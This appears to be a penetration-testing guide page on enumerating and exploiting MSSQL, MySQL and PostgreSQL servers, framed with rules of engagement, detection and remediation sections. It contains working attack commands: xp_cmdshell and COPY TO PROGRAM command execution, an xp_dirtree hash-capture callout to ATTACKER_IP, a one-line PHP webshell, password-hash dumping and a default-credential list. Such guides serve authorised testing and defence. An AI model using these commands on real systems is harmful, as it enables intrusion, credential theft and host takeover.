19 min read

Enumeration

Database Enumeration

Databases are where the data actually lives, and MSSQL is also a Windows service with an Active Directory identity — which makes it both a confidentiality finding and a lateral-movement path.

Four engines account for almost everything on an internal network, and each one turns a login into a different kind of access. The table is the decision the rest of the page expands:

Engine Port Privilege that matters What it buys you
MSSQL 1433, UDP 1434 for named instances sysadmin, CONTROL SERVER, IMPERSONATE, db_owner OS command execution as the service account, linked-server hops, NetNTLM capture
MySQL / MariaDB 3306 FILE, ALL PRIVILEGES ON *.* File read and write on the database host — a webshell path when the app is co-hosted
PostgreSQL 5432 superuser, or pg_execute_server_program from v11 COPY ... TO PROGRAM — shell as the postgres OS user
MongoDB / Redis / Elasticsearch 27017, 6379, 9200 Often none required at all Bulk data access. This page covers the port and default-credential check only; the engine-specific exploitation is a separate job

Discovery

Finding the database is the easy half; deciding whether it matters is the hard half. A listener on 1433 is common and often belongs to a forgotten application; a listener with a domain-registered SPN is a service running as an AD account, which is more interesting because the account's privileges become yours if you reach sysadmin. Record for each host which engine, which port, whether the instance name is non-default, and whether the login you have is a SQL login or a Windows one — the last point decides which credential attacks apply.

Port Scanning

MSSQL also advertises itself on UDP 1434 through the SQL Browser service, which is how you find named instances that are not on 1433 — query it before assuming a host has no database. The other engines are identified by their default port alone, and a version probe is usually enough to tell support status: an end-of-life MySQL 5.7 or PostgreSQL 9.x is a finding independent of what is stored in it.

db-ports.sh
# Database ports
nmap -p 1433,1434,3306,5432,1521,27017,6379,9200 -sV TARGET

# Common database ports:
# 1433/tcp - MSSQL
# 1434/udp - MSSQL Browser
# 3306/tcp - MySQL/MariaDB
# 5432/tcp - PostgreSQL
# 1521/tcp - Oracle
# 27017/tcp - MongoDB
# 6379/tcp - Redis
# 9200/tcp - Elasticsearch

# Full database scan
nmap -sV -sC --script=*-sql*,*-mysql*,*-pgsql*,*-oracle* TARGET

SPN Discovery (MSSQL)

The SPN route finds MSSQL instances that a port scan can miss and tells you which account each one runs as. MSSQLSvc/host:1433 registered on a user account means the service runs as that user — and that user is a Kerberoasting candidate. If the SPN sits on a machine account (host$), the service runs as Local System or the virtual account, which is worse for the defender and better for you: sysadmin on that instance is usually SYSTEM on the host.

mssql-spn.sh
# Find MSSQL servers via SPN
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP | grep MSSQL

# LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(servicePrincipalName=*MSSQL*)" sAMAccountName servicePrincipalName

# PowerView
Get-DomainUser -SPN | Where-Object {$_.servicePrincipalName -like '*MSSQL*'}

# nxc
nxc mssql 10.0.0.0/24 -u user -p pass

MSSQL Enumeration

Tip

MSSQL integrates with AD authentication. Try Windows authentication with domain credentials.

The first useful result on an MSSQL box is not a table, it is a role: SELECT IS_SRVROLEMEMBER('sysadmin') returning 1 means you own the instance, and public role membership means you mostly do not. MSSQL exposes several distinct privileges that each open a different door — CONTROL SERVER is equivalent to sysadmin, IMPERSONATE lets you become another login, and db_owner on a single database is enough for code execution through a database-level route. Check the role before you enumerate anything, because an instance you cannot escalate is a data-exposure question and one you can is a host-compromise question.

Basic Connection

-windows-auth is the flag that changes everything: it authenticates with the current Windows token (or a supplied hash via -hashes) instead of a SQL login, so a domain account with instance access gets in without knowing a database password. A failed SQL login returns error 18456 with a state number, and the state is the useful part: it distinguishes a bad password from an expired one, a disabled login, and a valid login that lacks access to the server. One look at the state tells you whether to keep guessing or to pursue the account's configuration.

mssql-connect.sh
# Impacket mssqlclient
mssqlclient.py corp.local/user:password@SQL_SERVER
mssqlclient.py corp.local/user:password@SQL_SERVER -windows-auth

# sqsh
sqsh -S SQL_SERVER -U sa -P password
sqsh -S SQL_SERVER -U corp.local\user -P password

# nxc
nxc mssql SQL_SERVER -u user -p pass -d corp.local

# Test local auth
nxc mssql SQL_SERVER -u sa -p 'password' --local-auth

Database Enumeration

Enumerate by name before you enumerate by row: the database list tells you which application owns the instance, and the table list tells you whether it holds personal data, payment data or just configuration. Stop at the schema unless the client has authorised data access — a table listing is usually sufficient evidence that the instance is exposed, and it does not require you to sit in production data. The one query worth running beyond the schema is the table search for user, pass and credit, because it finds the tables whose names are the finding.

mssql-enum.sql
-- Server info
SELECT @@version;
SELECT @@servername;
SELECT DB_NAME();
SELECT CURRENT_USER;
SELECT SYSTEM_USER;

-- List databases
SELECT name FROM master.sys.databases;

-- List tables in database
SELECT * FROM INFORMATION_SCHEMA.TABLES;

-- List columns
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users';

-- Find interesting data
SELECT name FROM sys.tables WHERE name LIKE '%user%';
SELECT name FROM sys.tables WHERE name LIKE '%pass%';
SELECT name FROM sys.tables WHERE name LIKE '%credit%';

Privilege Checking

Impersonation is the most under-reported MSSQL escalation and the easiest to test: the query lists logins this login may become, and EXECUTE AS LOGIN = 'sa' proves it. The REVERT matters — leaving the context switched is how people accidentally run the rest of the engagement as sa. On a hardened instance the list is empty and the answer is in the database-level ownership instead, where db_owner on msdb is often enough to reach sysadmin through a SQL Agent job.

mssql-privileges.sql
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_SRVROLEMEMBER('serveradmin');
SELECT IS_SRVROLEMEMBER('dbcreator');

-- Current user roles
SELECT dp.name, sp.name 
FROM sys.server_principals sp 
JOIN sys.server_role_members srm ON sp.principal_id = srm.role_principal_id 
JOIN sys.server_principals dp ON srm.member_principal_id = dp.principal_id;

-- Impersonation
SELECT distinct b.name 
FROM sys.server_permissions a 
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
REVERT;

xp_cmdshell

Danger

xp_cmdshell needs sysadmin, it runs as the SQL Server service account, and enabling it is a configuration change on a production server. Record value_in_use before you touch sp_configure, get the change into the rules of engagement, and turn it back off as part of cleanup — a server left with xp_cmdshell enabled is a finding you created. The same fence applies to reading rows: a table listing is evidence that the instance is exposed, whereas selecting customer records is a data-access decision the client has to make explicitly.

sys.configurations reports both the configured value and value_in_use; if the two differ, someone changed the setting and it needs a restart. The command runs as the SQL Server service account, so whoami is the first thing to run — the answer tells you whether you have SYSTEM, a virtual service account or a domain account, and therefore what the host compromise is worth. Enabling it is a configuration change that must be reverted: record the original value_in_use before you run sp_configure, and turn it back off as part of cleanup.

xp-cmdshell.sql
-- Check xp_cmdshell status
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'ipconfig';

-- Impacket
mssqlclient.py user:password@SQL_SERVER -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

Linked Servers

A linked server is a trust relationship configured by a DBA, and it is a path the network team cannot see: the connection may use a stored login with credentials you never see, so OPENQUERY reaches a host your account has no access to. Map the links before you use them — a single-hop link is one server, a chain (SERVER1 to SERVER2 and on) is a route across the estate. Check whether the link is configured with a mapped login, which is how a low-privileged database user ends up executing as sysadmin on the destination.

linked-servers.sql
-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- Test linked server connection
EXEC sp_testlinkedserver 'LINKEDSERVER';

-- Query linked server
SELECT * FROM OPENQUERY(LINKEDSERVER, 'SELECT @@version');

-- Execute on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKEDSERVER];

-- Recursive links (double hop)
SELECT * FROM OPENQUERY("SERVER1", 'SELECT * FROM OPENQUERY("SERVER2", ''SELECT @@version'')');

Hash Capture

xp_dirtree makes the SQL Server service account authenticate to a UNC path you control, which sends a NetNTLMv2 response to your listener — the same material Responder collects, but from a server account rather than a workstation. That hash can be cracked offline or relayed to another service, depending on the account and the signing state of the target. You need a listener the SQL host can reach and a share that exists, or the response never leaves the host; check the outbound SMB path before concluding the technique failed.

hash-capture.sql
-- Capture hash via xp_dirtree (requires SMB listener)
EXEC xp_dirtree '\\ATTACKER_IP\share';

-- xp_fileexist
EXEC xp_fileexist '\\ATTACKER_IP\share\file';

-- On attacker: Responder or Impacket smbserver
responder -I eth0
impacket-smbserver share . -smb2support

MySQL Enumeration

MySQL is usually a Linux application database, so the interesting findings are file access and credential reuse rather than Windows privilege escalation. Two questions decide what you can do: which account you landed on (the user@host pair matters — root@localhost is not root@%) and whether that account holds the FILE privilege, which turns a database login into a filesystem reader and writer.

Basic Connection

mysql-connect.sh
# Connect
mysql -h TARGET -u root -p
mysql -h TARGET -u user -ppassword

# nxc (if supported)
# Or use Hydra for bruteforce
hydra -l root -P passwords.txt TARGET mysql

Database Enumeration

SHOW DATABASES and SHOW GRANTS answer the two questions that matter, and the grant output is the more useful of the two because it states what you may do rather than what exists. A grant of ALL PRIVILEGES ON *.* is a full compromise of the instance; a grant limited to one schema narrows the report to that application. Note the server version while you are there — version-specific privilege escalation for MySQL depends on it.

mysql-enum.sql
-- Version info
SELECT @@version;
SELECT version();

-- Current user
SELECT user();
SELECT current_user();

-- List databases
SHOW DATABASES;

-- List tables
USE database_name;
SHOW TABLES;

-- Table structure
DESCRIBE table_name;

-- Privileges
SHOW GRANTS;
SHOW GRANTS FOR 'user'@'host';

User Credentials

The mysql.user table holds password hashes for every account the instance knows about, and the column names changed at 5.7: Password became authentication_string, and the hash format became a $A$ or *-prefixed value that cracks with hashcat mode 300. Read this table when you already have privilege on the instance, not before — it is the moment a database finding becomes a credential-reuse finding, because DBAs reuse passwords on other services.

mysql-users.sql
-- MySQL 5.7+
SELECT Host, User, authentication_string FROM mysql.user;

-- MySQL 5.6 and earlier
SELECT Host, User, Password FROM mysql.user;

-- All user privileges
SELECT * FROM information_schema.user_privileges;

File Operations

LOAD_FILE and INTO OUTFILE require the FILE privilege and are constrained by secure_file_priv, so check that setting before concluding the technique is blocked. Writing into a web root is the classic route from database to shell, but it depends on the database host also running the web application — on a split architecture it writes to the wrong machine. Read /etc/passwd first as the least invasive proof that FILE is held, and note that the file write itself is a change you must remove.

mysql-file-ops.sql
-- Read files (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');

-- Write files
SELECT 'test' INTO OUTFILE '/tmp/test.txt';

-- Webshell (if web directory writable)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

PostgreSQL Enumeration

PostgreSQL is the most privilege-sensitive of the three, because a superuser can execute commands and read files through built-in functions with no extension required. The whole engagement on a Postgres host reduces to one question: is the login you have a superuser?

Basic Connection

pgsql-connect.sh
# Connect
psql -h TARGET -U postgres
psql -h TARGET -U user -d database

# With password
PGPASSWORD='password' psql -h TARGET -U postgres

Database Enumeration

pgsql-enum.sql
-- Version
SELECT version();

-- Current user
SELECT current_user;
SELECT session_user;

-- List databases
\l
SELECT datname FROM pg_database;

-- List tables
\dt
SELECT tablename FROM pg_tables WHERE schemaname='public';

-- List users
\du
SELECT usename FROM pg_user;

-- User privileges
SELECT * FROM information_schema.role_table_grants;

Command Execution

COPY ... TO PROGRAM runs a shell command as the postgres OS user and needs superuser — or, from PostgreSQL 11, the pg_execute_server_program role — so the check is one query before it. Reading files has a second path that works without superuser on some builds — large objects via lo_import — but both are the same finding: the database login is an OS-level compromise. Note what user the process runs as when you run id; on a container deployment it may be less than you expect.

pgsql-exec.sql
-- Check if superuser
SELECT current_setting('is_superuser');

-- COPY command (requires superuser)
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami > /tmp/whoami.txt';

-- Read file
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

-- Large objects
SELECT lo_import('/etc/passwd', 12345);
\lo_export 12345 /tmp/passwd.txt

Nmap Scripts

These scripts are worth running once per host because they answer the low-effort questions in a single pass: which version, whether an empty or default password works, and what the instance will tell an unauthenticated client. ms-sql-empty-password and mysql-empty-password are the ones that occasionally end the phase; the rest are information gathering that saves you a manual connection. Do not run the -brute variants against an estate you have not agreed a lockout budget for.

nmap-db-scripts.sh
# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes -p 1433 TARGET

# MySQL
nmap --script mysql-info,mysql-enum,mysql-empty-password,mysql-brute,mysql-databases,mysql-users,mysql-variables -p 3306 TARGET

# PostgreSQL
nmap --script pgsql-brute -p 5432 TARGET

# Oracle
nmap --script oracle-sid-brute,oracle-brute -p 1521 TARGET

# MongoDB
nmap --script mongodb-info,mongodb-databases,mongodb-brute -p 27017 TARGET

nxc MSSQL

NetExec is the fastest way to answer "does this credential work on this instance" across a subnet, because it reports the authentication result, the SQL role and the host in one line. -q runs a query, -x runs a command through xp_cmdshell and -X runs a PowerShell command — the last two need sysadmin, so treat a successful -x as proof of host compromise rather than as another enumeration step.

nxc-mssql.sh
# Authentication test
nxc mssql TARGET -u user -p pass -d corp.local

# Execute query
nxc mssql TARGET -u user -p pass -d corp.local -q "SELECT @@version"

# Execute command
nxc mssql TARGET -u user -p pass -d corp.local -x "whoami"

# PowerShell command
nxc mssql TARGET -u user -p pass -d corp.local -X "Get-Process"

# Get hashes (requires privileges)
nxc mssql TARGET -u user -p pass -d corp.local --get-hash

Default Credentials

Default credentials still work more often than they should, and the ordering matters for safety. Try the engine's local accounts first — a SQL login, a MySQL user, a Postgres role — because those are governed by the database's own policy and SQL Server does not lock logins out by default. Test the Windows-authentication path last, because that one does follow AD lockout. A hit on a default credential is a finding about process, not about the password: note whether the account is sa, whether it is still enabled, and whether the same password appears on other hosts.

default-credentials.txt
# MSSQL
sa:sa
sa:password
sa:Password123
sa:(blank)

# MySQL
root:(blank)
root:root
root:mysql
root:password

# PostgreSQL
postgres:(blank)
postgres:postgres
postgres:password

# Oracle
scott:tiger
sys:change_on_install
system:manager

# MongoDB
(no auth by default)
admin:admin

What the Defender Sees

Database hosts are the worst-covered part of most estates: the engine has its own log, and it is usually not shipped anywhere. What to ask the blue team for:

  • Error 18456: failed SQL logins, in the SQL Server ERRORLOG rather than the Windows event log. A burst from one source is the spray; a single state 18 (password must be changed) on one account is a stale service credential worth noticing.
  • Windows logons: 4624 type 3 or type 5 from the SQL host to another machine — the signature of xp_dirtree and of linked-server authentication — plus 5145 on the share that was contacted.
  • Configuration changes: xp_cmdshell enabled, sp_configure run, a login added to sysadmin. SQL Server audit can capture these; without it, the change is invisible after the fact.
  • Process ancestry: sqlservr.exe spawning cmd.exe or whoami.exe is the endpoint-side tell for xp_cmdshell, and it is the one detection that does not depend on database logging being enabled.

Evidence Collection

A database finding is a role result plus a host result, and the report needs both: an instance you can read from and a host you can execute on are different severities.

Role result: The output of IS_SRVROLEMEMBER('sysadmin') or SHOW GRANTS / current_setting('is_superuser'), with the login used. That single line decides whether the finding is data exposure or host compromise.

Instance inventory: Engine, version, instance name and whether the login is a SQL login or a Windows one. The last point decides which credential attacks apply and which lockout policy is in play.

Command-execution proof: For MSSQL: xp_cmdshell 'whoami' output, and the service account it returned. For PostgreSQL: the output of COPY ... TO PROGRAM 'id'. Report the account, not just "RCE".

Configuration state: The value_in_use for xp_cmdshell before and after your change, and the cleanup command you ran. This is what proves you left the server as you found it.

Linked-server map: Each link, its login mapping and whether OPENQUERY succeeded — a chain across the estate is a lateral-movement finding and needs the path written down.

False Positive Identification

  • SQL logins do not follow AD lockout: A successful sa guess is a finding about process, not a password-policy finding. Report it as a default credential with the role it holds.
  • A sysadmin on a lab instance: A developer instance on a workstation with sysadmin is not domain compromise. Grade it by what the service account can reach on that host and nothing more.
  • Error 18456 state 18: State 18 means the password must be changed, not that the account is disabled — the login is valid and the secret is live. Record the state code and let the DBA interpret it; reporting it as a brute-force success is the wrong conclusion.
  • A table name that looks sensitive: A table called users may hold three test rows. Name the table and the row count you actually saw, or the severity is guesswork.

Testing Checklist

A database result is two claims, not one: what the login can read, and whether the host will execute. Test them in that order.

Confirm the login and the role

  • ☐ The login is identified as SQL or Windows, because that decides which lockout policy applies to it.
  • ☐ IS_SRVROLEMEMBER('sysadmin'), SHOW GRANTS or current_setting('is_superuser') returns the role, and that single line sets the severity.
  • ☐ xp_cmdshell 'whoami' or COPY ... TO PROGRAM 'id' returns an account name, not an empty result.
  • ☐ A linked server is confirmed with OPENQUERY against the next hop, not inferred from the link list.

Confirm the impact and the cleanup

  • ☐ xp_cmdshell's value_in_use is captured before and after, with the command that restored it.
  • ☐ Hash capture to your listener shows the NetNTLM line before credential exposure is claimed.
  • ☐ An sa or default-credential success is reported as a default credential with its role, not as a password-policy finding.
  • ☐ Table names are recorded with the row count actually observed, so severity is not guessed from a name.

Remediation & Defense

The fixes divide into what the database grants and what the host exposes.

Reduce database privilege

  • • Run applications on a least-privilege login with no <code>db_owner</code> and no <code>IMPERSONATE</code>
  • • Leave <code>xp_cmdshell</code> disabled, and alert if it is re-enabled
  • • Audit linked servers: remove unused ones and use a mapped login with minimum rights

Protect the host and the data

  • • Run the engine as a low-privilege virtual account, not a domain account with rights elsewhere
  • • Restrict <code>secure_file_priv</code> and remove <code>FILE</code> from application accounts
  • • Encrypt backups and restrict who can read them; a backup is the whole database

Detection

  • • Ship the SQL Server ERRORLOG and audit log to the SIEM; error 18456 bursts are the spray signature
  • • Alert on <code>sqlservr.exe</code> spawning <code>cmd.exe</code>, <code>whoami.exe</code> or PowerShell
  • • Monitor outbound SMB from database hosts, which is the <code>xp_dirtree</code> signature